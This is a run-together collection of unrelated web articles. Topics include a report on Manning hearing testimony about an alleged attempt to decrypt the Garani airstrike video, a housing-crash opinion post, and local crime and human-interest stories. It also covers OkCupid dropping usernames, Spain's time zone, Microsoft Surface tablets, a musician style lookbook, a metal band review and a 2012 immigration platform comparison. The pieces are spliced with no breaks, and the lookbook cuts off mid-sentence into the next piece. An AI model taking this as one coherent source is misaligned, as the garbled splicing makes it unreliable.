In court testimony Saturday, a government witness testifying against Manning said that Lamo subsequently contacted authorities in July 2010 to say that he'd learned through online chats that a person named Jason Katz who worked at a Department of Energy lab had tried to help WikiLeaks decrypt a video of the 2009 Garani incident, in which U.S. warplanes allegedly killed nearly 100 Afghan civilians.
Katz was fired from his job at the DoE's Brookhaven National Laboratory in March 2010, one month prior to publication of the Collateral Murder video, for engaging in unspecified "inappropriate computer activity," Special Agent Mark Mander, an investigator with the Army's Computer Crime Investigative Unit, divulged in court.
After Lamo's tip, the government searched Katz's former workstation, and found an encrypted and password-protected file, which investigators opened after the military provided the government password for the Garani video file, according to testimony.
The Brookhaven National Laboratory, which is run by a private company under contract with the Department of Energy, noted the departure of a physicist named Jason Katz in its March 12, 2010 newsletter. The arrival of a physicist named Jason Katz was noted in a February 13, 2009 newsletter.
According to Mander, Katz had allegedly been bragging in an online chat with an unspecified person about trying to decrypt the Garani video. It was unclear from Mander's testimony if Katz had been chatting directly with Lamo or with another person.
Lamo confirmed Mander's account of the incident to Wired.com following the witnesses testimony. He clarified that he was never in direct contact with Katz, but would not elaborate on how he became aware of Katz's chat.
"In protecting sources and methods, I am hesitant to disclose how I became aware of this individual," he said in a phone call, adding cryptically that "the means of which I became aware of his activities were not a human interaction."
Lamo is preparing to testify as a witness at the hearing but has not been told yet when he will be called. "Toward the end of the proceeding," he said, noting that the government has been preparing him for testimony by explaining the basic procedures of the Article 32 hearing.
WikiLeaks hinted in January 2010 that it had the Garani video and that it was in the process of breaking the encryption.
Instead, WikiLeaks published the so-called Collateral Murder video of a U.S. helicopter attack in Iraq where two Reuters employees were killed, and two children seriously wounded. Manning allegedly told Lamo that he gave that previously unseen footage and the password to unlock it to WikiLeaks. After that video was made public, WikiLeaks founder Julian Assange told reporters that his organization still had the Garani video and would publish it as well, but the video has never been published - presumably because the organization has been unable to break the encryption.
Encrypted files can be opened via brute-force computing, using powerful computers or sets of computers to repeatedly guess possible passwords. But brute-forcing a file encrypted with a strong algorithm and a complicated password can take up to decades, even with the world's most powerful computers, such as those used in government research labs.
The Garani attack became an international incident, and while the Pentagon said it would show the video to reporters in conjunction with the release of the findings of an investigation, the military never made good on the video offer.
Secretary of State Clinton, President Obama, and other American leaders apologized after American F/A-18 jets and a B-1 bomber dropped munitions on suspected Taliban positions during a firefight in the village of Garani. As many as 97 civilians may have lost their lives, according to the Afghan Independent Human Rights Commission.
But the U.S. military remained steadfast that the attacks on a set of Garani compounds were justified — and said that footage taken from the B-1′s weapon sight would "prove [t]hat the targets of these different strikes were the Taliban," as Petraeus told NPR. The video allegedly shows that two groups of adults going inside the compounds targeted by the B-1. Additional footage shows women and children streaming into other buildings that were not bombed.
WikiLeaks alleges the video is among the files taken from WikiLeaks and destroyed by disgruntled former spokesman Daniel Domscheit-Berg, who left to set up a competing leak site called OpenLeak, saying that Assange wasn't responsible enough to have the documents.
Updated 8:13pm EST: Added comment from Adrian Lamo.
Additional reporting and writing by Ryan SingelThis transcript has been automatically generated and may not be 100% accurate.
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Over the past several months, many in the mainstream media have hailed the slight improvement in the U.S. real estate market as a “housing recovery”. But the truth is that the small improvement in the numbers was primarily due to a significant number of Americans attempting to squeeze their home purchases in before the huge home buyer tax credit expired at the end of April. Now that there is no more giant tax incentive, real estate professionals all over the United States are fearing the worst. Mortgage defaults and foreclosures are still at record levels, and a giant “second wave” of adjustable rate mortgages is scheduled to reset in 2011 and 2012. In addition, there are numerous indications that the U.S. economy as a whole is going to experience a dramatic downturn shortly, and if that happens it is going to be really bad news for the housing industry. So are we about to see “Housing Crash Part 2”?
The reality is that it has taken unprecedented U.S. government intervention to even stabilize the U.S. housing market. Now that the tax credit has expired, and as the U.S. economy continues to worsen, there is simply no way (except if we see hyperinflation at some point) that housing prices are going to return to the levels that we saw during the height of the housing bubble.
Banks and other lending institutions all across the U.S. have seriously tightened their lending standards and so it is now much more difficult to get approved for a mortgage. That means that there are going to be less home buyers in the marketplace.
In addition, while mortgage rates are at record lows right now, the truth is that they will not stay there indefinitely. When interest rates do start to rise that is going to suck even more home buyers out of the market.
Truthfully, the housing market is not going to be as good as it was during the first several months of 2010 for quite some time. The entire U.S. economy is on the verge of collapse, and when it does the real estate industry is going to be one of the first to feel the pain.
The following are 12 reasons why the U.S. housing crash is far from over….
#1) Now that the huge home buyer tax credit (government bribe to purchase homes) has expired, the real estate industry is bracing for the worst. The truth is that a significant percentage of those Americans that planned to buy a home in 2010 really tried to squeeze their purchases in before the April 30th deadline in order to take advantage of the tax incentive. According to mortgage consultant Mark Hanson, “buyers were bidding on everything and sellers were accepting anything and everything before 4/30.” Now that the tax credit is over, things could get really slow for the U.S. real estate market.
#2) A massive “second wave” of adjustable rate mortgages is scheduled to reset in 2011 and 2012. In fact, there are many analysts that are openly speculating that this second wave could be even more brutal than the first wave that we experienced in 2007 and 2008.
#3) The number of home sale closings in May was down more than 5% compared to April.
#4) Newly signed home sale contracts dropped more than 10% in May.
#5) There has been an even more dramatic decline in mortgage applications. In fact, home purchase applications are now almost 40 percent below the level of just four weeks ago.
#6) Internet searches on real estate websites are down 20 percent compared to this same time period in 2009.
#7) From all indications, a record number of foreclosures is going to continue to flood the market. The Mortgage Bankers Association recently announced that more than 10 percent of all U.S. homeowners with a mortgage had missed at least one payment during the January to March time period. That was a record high and up from 9.1 percent a year ago.
#8) U.S. banks repossessed nearly 258,000 homes nationwide in the first quarter of 2010, a whopping 35 percent increase from the first quarter of 2009.
#9) A staggering 24% of all homes with mortgages in the United States were underwater as of the end of 2009.
#10) People can’t buy houses if they are flat broke. For the first time in U.S. history, more than 40 million Americans are on food stamps, and the U.S. Department of Agriculture projects that number will go up to 43 million Americans in 2011.
#11) The truth is that American consumers are stretched to the limit and are increasingly finding it very difficult to pay their bills. During the first quarter of 2010, the total number of loans that are at least three months past due in the United States increased for the 16th consecutive quarter.
#12) The overall U.S. economy is in really bad shape and is rapidly getting worse. If American workers cannot find good jobs and if they keep going bankrupt in record numbers they simply are not going to be able to buy homes in 2010 or any year thereafter.
Those who are projecting a robust housing recovery are living in some kind of fantasy world. It is just not going to happen. Let’s just hope that things don’t get as bad as the numbers seem to indicate that they might. Another devastating housing crash would just suck the life right out of the U.S. economy. So let us hope for the best but also let us be prepared for the worst.Copyright by KXAN - All rights reserved William Kloss of New Braunfels
Copyright by KXAN - All rights reserved William Kloss of New Braunfels
NEW BRAUNFELS, Tx (KXAN) -- Police have made an arrest following the shooting of 2 New Braunfels High School band members with a pellet gun.
William Henry Kloss, 67, was placed under arrest at around 12:30 p.m. Thursday afternoon. He was taken into custody without incident in the 800 block of Landa Street.
Kloss is charged with 2 counts of Aggravated Assault. He was taken to the Comal County Jail where he remains in custody. Bond was set at $25,000, or $12,500 for each of the two charges.
The New Braunfels High School band was practicing Tuesday afternoon when students and faculty heard a series of pops. Two students complained of being struck by objects that they believe to be from a BB or pellet gun. Evidence recovered by police supported that belief. Eyewitness accounts, as well as a reenactment of the incident by police, showed the pellets were fired from an address on Ohio Avenue.
Detectives obtained a search warrant for that address Wednesday afternoon and several items of evidence were seized.
Aggravated Assault is a 2nd degree felony punishable by 2 to 20 years in prison and a fine of up to $10,000.ST. CLOUD, Fla. - An entire community made a 6-year-old autistic boy's birthday party one that he won't forget.
Glenn Buratti was turning 6 years old and invited all of the kids from his class to his birthday party. Glenn's mother, Ashlee Buratti, says the day of the party, nobody showed up.
"To see the look on his face killed me inside," Ashlee Buratti told Local 6.
Buratti said her son was so devastated when he found out no one was coming to his birthday party that he refused to smile.
Thinking she failed him, Buratti said she turned to Facebook and wrote a post about how badly she felt for Glenn.
Buratti said almost immediately, complete strangers responded and soon, kids and their parents started arriving with gifts.
Buratti's post also caught the eye of the Osceola County Sheriff's Office, who sent their own gift-- a flyover from the sheriff's helicopter.
Glenn Buratti checks out a flyover conducted by the Osceola County Sheriff's Office.
"One of our friends put him up on their shoulders and Glenn was smiling the whole time and waved. It was amazing," Buratti said.
The deputies had also pooled their own money and bought Glenn gifts.
Buratti says the response from her one post on Facebook has almost been overwhelming but has restored her faith in her higher power and the human spirit.
"The amazingness of everybody coming together for someone that they didn't even know," she said. "A kid that didn't have anybody come to his birthday party. It warmed my heart."
A week after Glenn's party, Buratti said she hasn't heard anything from Glenn's classmates or parents who were invited that day.
Buratti said there is a downside to the outpouring of generosity -- she'll have to top this year's birthday party next year.
Copyright 2015 by ClickOrlando.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Black Doorman Fired For Doing His Job Too Damn Good, Tenants Protest
Reported by Ryan Brennan
It’s not everyday that you hear a story of a man being fired for being good at his job. For one New York City doorman, this was the case. Ralph Body (pictured) used to work the front desk of the luxury 27 on 27th building located in Long Island City, Queens.
The 41-year-old man told the New York Post that he would do anything for his wealthy tenants. He would assist them with anything they needed with a smile on his face. However, Body stated that the management of the building, which has been in charge for two years, didn’t support his cheerful ways. He said the willingness he had to go above and beyond for the tenants of the building was definitely noticed, but was frowned upon. He was fired on March 29.
Body told the Post, “They said, ‘We know you did it for the right reasons, but unfortunately… you’re too nice to the tenants.”
Forced to defend himself, Body replied by saying that he was only doing what was asked of him to do. In response to his explanation, Heatherwood management said that all of that did not matter, and then they fired him, according to Body. He also stated that his higher-up told him, “Unfortunately, in this case, nice guys finish last.”
The good news is that the tenants of the building adored Body for his caring ways. They have joined together to form a petition in order to get Body reinstated to his job.
“Most tenants, especially those who have lived in the building since it opened, can attest to Ralph’s kindness and eagerness to make people feel safe and welcome,” the petition stated. “The ruthlessness of Ralph’s termination is disgusting, unjust and disheartening. From day one, Ralph has gone above and beyond his duties. Yes, rules and regulations must be followed, but Heatherwood is more than capable of providing coaching and counseling to ensure the best possible outcome for its tenants and staff.”
By Sunday, the petition had 72 supporters. Their goal is to get that number to 250. It can be seen on ipetitions.com.
Although most tenants are blaming management for the termination of Body, Heatherwood is stating that it is not their fault. They are putting the blame on the staffing company, as explained in a letter to the Post.
The letter stated, “It was recently brought to our attention that Ralph did not follow PBS’s policies and procedures and after being spoken to several times, it was their decision to reassign him to another building.”
SourceWhat’s in a name?
You see, DaddyzPrincess29*, we all have names. Good, noble names that took weeks, perhaps months to choose— from Hannah to Jordan to Lady Bird. And what we’ve discovered is that those names actually work best—better than usernames—when it comes connecting with people. So listen closely laidback___stu, because this applies to you — even if you are straight chilling right now on a basement futon.
Ahead of the new year, we’re removing OkCupid usernames. It’s starting with a test group and will soon be rolled out to everyone on OkCupid, so all users will need to update their profiles with what they want their dates to call them. We know, this is tough to hear — especially for StayingPawwsitive, Dootdootledootd0 and Britney__Tears. It’s because, like the recent goodbye we said to AIM screen names, it’s time to keep up with the times. We want you, BigDaddyFlash916, to go by who you are, and not be hidden beneath another layer of mystique. Even if that mystique is crucial to you and your dating life, unicorn__jizz.
We understand that, for some, usernames are a great way to show off who you are. But for most, they are a pain to come up with and a pain to remember (or, in cases like unicorn__jizz, difficult to forget). And we hope that you can instead use your profile to give people an insight into your interests.
We’ve also heard from many members of our community that they want to maintain the privacy they enjoy with usernames—with this change, we won’t be collecting full names; instead, we encourage our users to go by the name they’d like their dates to call them on OkCupid.DES MOINES, Iowa – Officials from the University of Iowa and AIB College of Business held a press conference Monday afternoon to announce that the college will become the Des Moines campus for the University of Iowa.
University of Iowa President Sally Mason, AIB President Nancy Williams, along with members of the Iowa Board of Regents and the AIB board of trustees made the announcement Monday afternoon in Des Moines.
The transition is expected to take at least a year, but the two schools will establish an integration team to begin the process. Eventually the University of Iowa will own AIB’s land and buildings, and AIB students will become Iowa students.
“AIB has always changed with the times, and becoming part of the University of Iowa allows us to maintain the commitment we made to our students and the surrounding region to always provide high quality educational opportunities in Des Moines,” said Nancy A. Williams, president of AIB.
“The University of Iowa is honored to have been chosen to continue the legacy of AIB. This allows us to achieve an important goal of broadening our service to the greater Des Moines area,” said University of Iowa President Sally Mason.Ruling Trinamool Congress today said BJP's prime ministerial candidate Narendra Modi gave "factually incorrect" data about West Bengal during a party rally here.
"The honourable Chief Minister of Gujarat made a few statements which were factually incorrect," said a post in the party's website.
At the rally, Modi had mentioned that only 35 per cent schools in the state have electricity and that 60 per cent girls` schools in the state have toilets.
"The research team, which provided him with these figures, clearly depended on an old report. According to the report of a review committee meeting held today, 98 per cent schools in West Bengal have toilets while most primary, upper primary, secondary and higher secondary schools have uninterrupted power supply," the statement said.
It pointed out that West Bengal is the only state in India to have a power bank.
In the last session of West Bengal assembly, the state Power Minister Manish Gupta had informed the House that West Bengal will achieve 100 per cent rural electrification by December 2014.
"As of December 2013, West Bengal achieved 60 per cent rural electrification (up from 10 per cent during the Left Front rule)," the Trinamool Congress said.
The statement said that with a debt burden of over Rs 2 lakh crores and a yearly interest of Rs 28,000 crores, little money is available for the government to spend for public purpose.
"However, West Bengal government, under the leadership of Chief Minister Mamata Banerjee, managed to increase revenue collection from Rs 22,000 crore (in 2011-12) to Rs 40,000 crore (2013-14, till August), which is about 81.8 per cent," it said.
At the rally, BJP president Rajnath Singh had sympathised with Banerjee's demand for a bailout package for the debt-ridden state saying the UPA government should have given a moratorium on loan repayment to the Centre.Microsoft's new tablets will arrive in two versions. Which is right for you?
The Surface Pro promises robust computing in a slimmed-down package. We haven’t seen any real Windows 8 software yet, so there we must withhold judgment. But Surface Pro will be able to do anything a desktop or laptop can do today, and it will have a serious laptop processor, the same Intel Core i5 as on an Ultrabook.
If casual computing—Web browsing, email, social networking, and video streaming—is all you need, Surface RT should suffice. It will run an ARM-based Nvidia Tegra 3 processor that requires less power to operate than Intel processors do. But Windows RT can’t run in desktop X86 mode, so you can’t use your existing software on it—you’re limited to running apps that will be available from Microsoft’s Windows Store.
And that leads to our next question: What apps will be available?
Surface Apps: What to Expect
Surface RT relies on the new Metro interface of Microsoft’s Windows 8. That means you can’t use your existing desktop programs (you can do that only on Surface Pro); you’ll have to buy all-new Metro apps from Microsoft’s Windows Store, and that will be the only way to get Metro apps.
Microsoft is making a big push with developers to have big-ticket apps available at Windows 8’s launch. Box.net, ESPN, Netflix, and USA Today have apps well under way, and traditional Windows software companies are planning to have programs available for Windows 8 Metro, too. Microsoft itself will include a Metro version of its Office apps with the Surface RT tablets. But many software makers have stayed quiet on their plans, and it’s not clear whether Microsoft will have a critical mass of desirable and popular apps available at launch.
The company says its Windows Store will filter apps based on the device you’re using, so you can get just the apps that will run on your device. You can install purchased apps on up to five machines—tablet, laptop, or desktop. This multidevice flexibility gives Windows tablets like Surface a substantial advantage over competing tablets running iOS or Android.
How much will these and other apps cost? For Surface to be competitive, apps must be relatively cheap, following the models of Android and iOS. For many Windows developers, that will require a substantial adjustment.
Microsoft’s Radical Gambit
That Surface comes from Microsoft, and not one of Microsoft’s many PC hardware partners, underscores just how dramatically the personal computing market has changed over the past decade. It marks the first time that Microsoft has produced its own Windows hardware since the company initially began licensing its Windows software 37 years ago.
For Windows 8 to thrive, Microsoft must make sure consumers have viable Windows 8 tablets. While prominent PC makers like Hewlett-Packard target business users with their Windows 8 tablets, Microsoft apparently sees the need to jump-start the consumer market with an eye-catching flagship device. Ultimately, Microsoft will have company; I expect competitors to emerge closer to Windows 8’s launch.
As Apple’s success with its iPad has shown, tablets are a different beast than laptops and desktops. Apple has prevailed in part because it controls the design and functionality of both the hardware and the mobile OS software; the two elements work smoothly with one another and integrate seamlessly into the company’s software ecosystem.
Google—after witnessing a mishmash of uneven Android tablet releases from its hardware partners—ultimately reached the same conclusion. In July the company, in partnership with Asus, released its own branded Android tablet, the Nexus 7.
With Surface, Microsoft joins the other operating system makers with a tablet offering of its own. Microsoft’s proposition, however, is different from its competitors’. Surface is backed by the full power of the company’s Windows operating system, along with the robust drivers, peripheral compatibility, and inherent software interoperability that Windows is known for. That you can buy a Metro app in Microsoft’s Windows Store and use it on up to five devices—tablet, laptop, or desktop—is a personal computing Shangri-la that neither iOS nor Android can offer.
Surface could propel the PC into the post-PC era. Add in its own content stores for users to acquire movies and music, and Microsoft has a solid recipe for competing head-to-head against Apple—and against Amazon and Google, too.
Editor's note: Tomorrow, look for "How Surface Stacks Up"—a detailed comparison of the two Surface models against rival products.It may not surprise you to learn that Spaniards view time differently. An American visitor to Spain would quickly note that a local’s dinnertime isn’t often until 9 p.m. or later. After that, drinks at a bar or television-watching at home could last till 1 a.m. on a weeknight. To cope, some office workers will take both a midmorning coffee break and a midafternoon snooze — the jealousy-inducing “siesta.”
What’s perhaps more surprising is the news that this seemingly idyllic schedule is viewed as a problem by many in Spain. And many place the blame on a time zone that is a relic of Spain’s fascist past.
After months of speculation, Employment Minister Fátima Báñez announced this week that the government is working on a plan to get more workers out of the office at 6 p.m., rather than being stuck at work until 8 or so, as many currently are. Báñez said that one important part of that policy under consideration is a switch from Central European Time (CET) to Greenwich Mean Time (GMT), under which the clocks would be put back permanently by one hour.
Take a look at a map and it is clear why. Shouldn’t Spain be in the same time zone as Britain, Ireland and Portugal, all relatively close to its longitude, rather than the time zone that stretches as far east as Poland or Norway’s border with Russia?
Well, yes, of course, it probably should be. And, in fact, when the country first standardized its time in 1900 after using solar time for centuries, it used GMT. It was only during World War II, in 1940, that Spain’s fascist leader, Francisco Franco, changed the time zone to CET so that the country could be line with Nazi Germany and its occupied lands. After the war, Franco stayed in power until the 1970s. The clocks were never changed back.
An example of the strange nature of the time zone can be seen in Galicia, in the far northwest of Spain, where the sun doesn’t rise until 9 a.m. in the winter. Only the Canary Islands, which sit about 60 miles west of Morocco, are granted the use of Western European Time, which is the same as GMT.
Such seemingly odd time zone policies aren’t unusual. As WorldViews has noted before, there’s no central body that coordinates time zones according to science. Time zones are political decisions. That’s why Russia has 11 time zones but China has just one. It’s why North Korea announced last year that it was setting the clocks back by half an hour for no reason, and why Nepal is the only country to have a time zone that is set to 45 minutes past the hour.
But even if these time zones seem arbitrary, they affect how people live.
And many suggest that the unusual schedules kept by Spaniards — the long working hours, the late nights, the coffee breaks, the siestas — are a result of being in the wrong time zone. Humans are naturally built to understand the time of day by the amount of light, the reasoning goes, but the clocks told a different time — throwing people’s sleeping patterns out of sync with their working habits. Worse still, many of Spain’s social traditions were set while the country was still agrarian, and many farmers worked according to a solar clock.
A nice siesta may help deal with a long day, but the modern business world frowns upon the practice, essentially meaning that many Spanish adults end up working 11-hour days.
In 2013, a parliamentary subcommittee studying the dramatic-sounding “Rationalization of Hours, the Reconciliation of Personal, Family Life and Professional Life and Responsibility” released a report that proposed a return to GMT. It found that all sorts of ills in the Spanish economy could be blamed on the time zone, which created a kind of widespread jet lag across society, with the average Spaniard sleeping an hour less than the World Health Organization recommends.
The time zone “negatively affects many measures of productivity, such as absenteeism, stress, work accidents and school dropout rates,” the report noted. Even Spain’s long-standing gender inequality could be partly attributed to the long hours expected from breadwinners.
It remains unclear whether Spain will actually make the leap. Changing the time zone itself should be relatively simple. Russia changed its comparatively complicated multi-zone system in 2011 — and changed it back in 2014. Spain’s governing People’s Party has the support of the opposition Socialist party and the Ciudadanos (Citizens) party.
But changing an entire culture may be a little more complicated. “Can you imagine eating at 1, leaving work at 6 p.m. and being in bed before 10 p.m.?” the Spanish newspaper ABC asked in 2013.
Maybe not.
More on WorldViews
The radical plan to destroy time zones
North Korea’s new time zone already has an enemyAn illegal cannabis growing operation in rural Yamhill County, Ore., resulted in an arrest and the seizure of plants worth around $9 million early Tuesday, the The Oregonian reports.
The grow was found in the wetlands Dayton on wetlands near the Willamette River, as authorities have determined the operation was part of a Mexican drug trafficking organization, the Yamhill County Sheriff’s Office said in a news release Wednesday morning.
The Yamhill County Interagency Narcotics Team conducted a two-month investigation into the growing operation. Due to safety concerns, the Oregon State Police SWAT were also called in for the tactical portion of the operation on Tuesday.
Manuel Madrigal, 42, was arrested at the grow on federal drug trafficking charges and transferred to the U.S. Marshals in Portland. Madrigal, who has a San Antonio, Tex., address, also has previous drug arrests.
Sheriff Tim Svenson said the illegal grow is a prime example of the black market’s stubborn presence in Oregon, despite the state’s legal adult-use market opening late last year.
“There is still a profit to be made in marijuana by these illegal organizations,” he said. “As long as this continues, we will need to remain diligent in our investigations to keep this money from being routed to other areas of criminal activity.”
The site was the first large-scale operation found in the county in several years, according to local reports.Everyguyed Lookbook
The world of music isn’t just about sounds, but sights too. Any good frontman knows that you’re going to need a slick tie to match that treble clef, a blazer than syncs with your beat, and ultimately an ensemble that engages his audience.
EveryGuyed presents ‘Ensemble: The Style of Music’ a series of posters featuring Iconic Outfits from 20 Male Musicians. Designed by Glenn Michael of Moxy Creative House, and illustrated by James Alexander the prints are available here
Legend
L-R: Jim Morrison, Johnny Cash, Kurt Cobain, Kiss, Chet Baker, Michael Jackson, Run DMC, Jimi Hendrix, Bob Dylan, Elvis Presley, Prince, Kanye West, Marvin Gaye, The Ramones, Andre3000, Pharell Williams, Brandon Flowers, Pete Doherty, The Beatles, Miles Davis.
Andre 3000
Andre 3000 is always pushing the boundaries of both hip-hop and style, on and off the stage. Like his constant boundary pushing reinterpretation of the hip-hop genre, his loud stage persona is an exaggerated extension of his own personal style routed through dapper English gentry with a twist.
As Oscar Wilde, the definitive Dandy once said, “One should either be a work of Art, or wear a work of Art”, and no question Andre 3000 consistently achieves both; giving us his gift for music, and his unique passion for fashion.
Count on a hat being thrown into the mix almost always. Whether a fedora, panama hat, derby, newsboy, trilby, safari, or bailey, nobody has mastered the art of headwear in quite the same way.
Bob Dylan
Is it possible that Bob Dylan had too much cool? Iconic in Ray Ban wayfarers, buttoned up elegance, with a disheveled mass of hair to top it off, Dylan has been seducing generations since his debut album with his poignant perspectives and laid-back elegance.
Dylan brings the poetic lyricism of his works to his style, incorporating bumpkin charm, sombre country cool, and slim cuts for a unique style that is continually copied today by men and women alike.
We embrace the skinny blazers, stovepipe jeans, striped shirts, fitted pea coats, striped scarves, and mod boots to mimic that Dylan cool, but will we ever achieve his iconic effortless edge? It never hurts to try.
Brandon Flowers
Everybody needs to get off the back of ‘The Killers’ frontman, Brandon Flowers and his exaggerated stylings. There is definitely a strong style element that comes with the flamboyant singer who has gone through a fair share of wardrobe changes over the years that have included gold lame suits, sequins, feathered blazers, fringe, snake skinned track jackets, and let’s not forget, the introduction of “guyliner”.
The showiness of his looks should come as no surprise seeing as Mr. Flowers grew up in the city of glitter and gold, Las Vegas. On a deeper level, it’s all about the American Dream- “We were these poor kids and the whole idea of being a band was to put ourselves out there as this glamorous thing. Almost the opposite of the Strokes — these wealthy kids who are these dirty rock ‘n’ rollers. Instead of dirtying it up, it was about excess, overindulgence, and Gucci. It’s almost a hip-hop thing. Bling – that’s kinda what it was like.”
Chet Baker
Chet Baker brought a cool West Coast restraint to the jazz scene in the 1950s, a refined ‘White Boy’ cool that defied the style of the time. His compelling and vulnerable voice was matched by the vulnerability he brought to expressing himself in his iconic white t-shirts. Having had only come into popularity in the early 50s, the t-shirt was still characterized as a state of undress.
Baker would help pioneer the t-shirt as a viable option in an everyday ensemble. More casual and relaxed than a button-up, his perfectly coiffed hair and pretty boy image would go a long way to |
and is incredible. It’s got bits of black metal, tinges of deathcore, and out of this world technicality. Hell, it’s even got some melody thrown in there for good measure. I say thrown in, but I feel like that’s doing it an injustice. Every note feels like it belongs. Occasionally, haunting clean vocals show up unexpectedly but fit in perfectly. The drums are absolutely fantastic as well, something that is evident within the first few seconds. As a vocalist, Sam Dishington is extremely talented. He goes anywhere from high pitched black metal style wails to extremely low growls and occasional clean vocals, and he does it all in spectacular fashion. One of the the things I think really elevates this band as a whole is the production: it’s a really gritty/muddy style that you would perhaps expect to find in grindcore, but not necessarily in tech-death. However, it ends up working really well and adding something extra to this the band’s sound.
Now I know it’s the new year and all of your wallets are writhing in agony after the financial onslaught of the holidays, but I have some good news for you! All of Separatist’s music is name your price on their Bandcamp. So, if you can’t afford to pay full price, you don’t have to. However, if you have the money to spend you should fork over a few bucks, because there is no doubt in my mind Separatist is worthy of your hard earned cash. You can grab the albums from Bandcamp here, and don’t forget to follow them on Facebook! Here, have another song:
Assuming the new format works like I hope it will, next week will be written by one of you guys. Only time will tell. If I don’t get any takers by Tuesday of next week, I’ll just pull another band from my overflowing catalog of tech. To those of you that have sent me emails with bands to check out, it may take me a bit to feature them, because I like to listen to them multiple times first. This of course requires time, something which I do not have an abundance of currently. Regardless, thank you and keep them coming. You guys are awesome.
Until next time,
Stay Tech
(Photo VIA)
Did you dig this? Take a second to support Toilet ov Hell on Patreon!As the final leg of the 2012 U.S. presidential campaign gets underway in earnest, immigration remains a divisive issue between the political parties – although it remains unclear to what extent Barack Obama and Mitt Romney themselves will leverage the topic to turn out their bases.
The Obama administration's recent implementation of the Deferred Action for Childhood Arrivals (DACA) program, designed to grant a two-year reprieve from deportation to hundreds of thousands of qualified unauthorized immigrants, has kept immigration in the forefront. It could also play a role in bringing voters to the polls – Latino and other immigrant voters for Obama, and enforcement-minded voters for Romney.
The parties' dissimilar viewpoints on immigration policy were laid bare in the platforms adopted at the recent Democratic and Republican national conventions. The ongoing debate of the Obama administration's DACA initiative is only one, although major, example. A second, more fundamental difference is the role that the respective parties think states should play in immigration enforcement. Although both parties agree that change is needed on a wide variety of immigration issues, the deepening divide suggests that, regardless of who wins the national election in November, there will be limited ground for legislative progress.
Party platforms and convention rhetoric are not necessarily indicative of the policies which a party's nominee will choose to pursue as president. However, the platforms do represent the dominant view of the party faithful on key policy issues. They are thus an important indicator of future policy trends because they showcase how, and on which issues, politicians may be willing to forge compromises.
Deferred Action: A Point of Contention
One major point of contention is the deferred action policy. Thus far, more than 82,000 individuals have submitted applications, and at the current rate, the total count could perhaps reach one-half or more of the eligible population by the end of the year. Nevertheless, the pace could be significantly altered by the results of the presidential election. Mitt Romney has shown no clear intent with regard to the future of program if elected.
The Democrats referenced DACA several times in their party platform, as well as during the Democratic National Convention. All three key Convention speakers — former President Bill Clinton, Vice President Joe Biden, and President Obama himself — praised the DACA program. Benita Veliz, a twenty-seven year old unauthorized immigrant from Mexico who hopes to benefit from DACA, became the first unauthorized immigrant ever to speak at a party convention when she took the stage to speak about the benefits of the program.
On the other side of the spectrum, Republicans have been highly critical of DACA. Their party platform criticizes the Obama administration for its creation of a “backdoor amnesty program unrecognized in law,” a thinly veiled reference to the DACA program and the fact that it was implemented by the Obama administration via executive action, rather than through legislative channels.
Underlying Vision of State vs. Federal Roles in Immigration Enforcement
The two major political parties' campaign platforms also point to a deep and fundamental disagreement over the role that the states should play in shaping immigration enforcement policy. In contrast with the Republican party platforms of 2000, 2004, and 2008, the 2012, the GOP platform emphasizes the importance of state immigration enforcement measures, noting that such policies must be “encouraged, not attacked”. It situates the role of states in immigration enforcement within a larger debate over federal vs. state authority, referencing the Obama administration's “continued assaults” on state governments “in matters ranging from voter ID laws to immigration, from healthcare programs to land use decisions.”
The Republican platform strongly criticizes the Obama administration for bringing lawsuits against Arizona, Alabama, South Carolina, and Utah—four states which enacted their own tough immigration enforcement laws during 2010 and 2011. It recommends that the pending lawsuits in these states be dismissed immediately.
The platform also indicates that under a Republican administration, the use of the 287(g) immigration enforcement program would be encouraged. The 287(g) program, which the Obama administration has scaled back in recent years, enables states and localities to enter into agreements with the federal government through which state and local law enforcement officers are authorized to enforce certain aspects of immigration law. The Republican platform makes no mention of Secure Communities, a separate immigration enforcement program that has been greatly expanded by the Obama administration and that allows the federal government to electronically and remotely screen the immigration status of individuals at state and local prisons who were arrested for criminal offenses.
The Democrats' approach to state immigration enforcement in their party platform and throughout their convention was almost diametrically opposed to the Republican stance. The Democratic platform emphasizes the primacy of the federal government in crafting immigration law and policy and views state immigration enforcement efforts as interfering with that role. It praises the Obama administration for bringing lawsuits against states that have passed their own immigration enforcement measures. The platform begins its statement on immigration with a call for comprehensive immigration reform, a further indication of the party's mindset that the nation's immigration issues would be best addressed at the national level and through the legislative branch of the federal government, to the extent possible.
The Democratic platform also praises the Obama administration's use of executive branch initiatives to implement immigration policy changes, noting with approval of the administration's new prosecutorial discretion initiative, which concentrates immigration enforcement resources on non-citizens who have committed crimes, as well as its simplification of the visa application process for some foreign-born relatives of United States citizens.
Other Key Differences between the Two Parties
On treatment of unauthorized immigrants, Republicans advocate a policy of “self-deportation” (enacting policies which encourage unauthorized immigrants to leave the country on their own) as a way to decrease the population of unauthorized immigrants in the United States, currently estimated at 11.5 million. The Democratic party, in contrast, emphasizes the need for a “comprehensive immigration reform” bill, which would pair some immigration enforcement measures with changes to the current visa system and a legalization program for certain unauthorized immigrants.
The two parties also have vastly different views regarding the focus of worksite enforcement measures targeting unauthorized employment. While the Republican platform states that the Obama administration has “lessened worksite enforcement,” and has allowed unauthorized immigrants who are found working illegally to just “walk down the street to the next employer” by not arresting them, the Democrats have emphasized that they have continued worksite enforcement efforts by targeting employers that hire unauthorized immigrants, rather than the unauthorized immigrants themselves.
To address the nation's future worker needs, the Republican platform calls for a guest worker program. The Democrats prefer a comprehensive approach which has traditionally included legalizing workers already in the country and providing opportunities for the admission of new workers with some pathway to permanent status.
Room for Compromise?
If there is any evidence of common ground between the two parties, it is on issues involving visas for highly-skilled immigrants. The Republican platform, for example, notes that as part of the country's economic recovery plan, the United States should pursue a policy of “strategic immigration”, which the party defines as granting more work visas to holders of advanced degrees in the sciences, technology, engineering, and math, and allowing highly-skilled immigrants who receive advanced degrees in the United States to remain in the country following graduation. Similarly, the Democratic platform states that the country needs to create “a system for allocating visas that meets our economic needs.” The question, then, is whether the two parties will be able to forge any major legislative compromise in an atmosphere in which their fundamental views on immigration remain so very far apart.
Read the 2012 GOP Party Platform
Read the 2012 Democratic Party Platform
Read more about the Obama administration's recent DACA initiative in the June and August Policy Beats
and Policy Beats Read more about state efforts in immigration enforcement in the January 2011 Policy Beat
Policy Beat in Brief
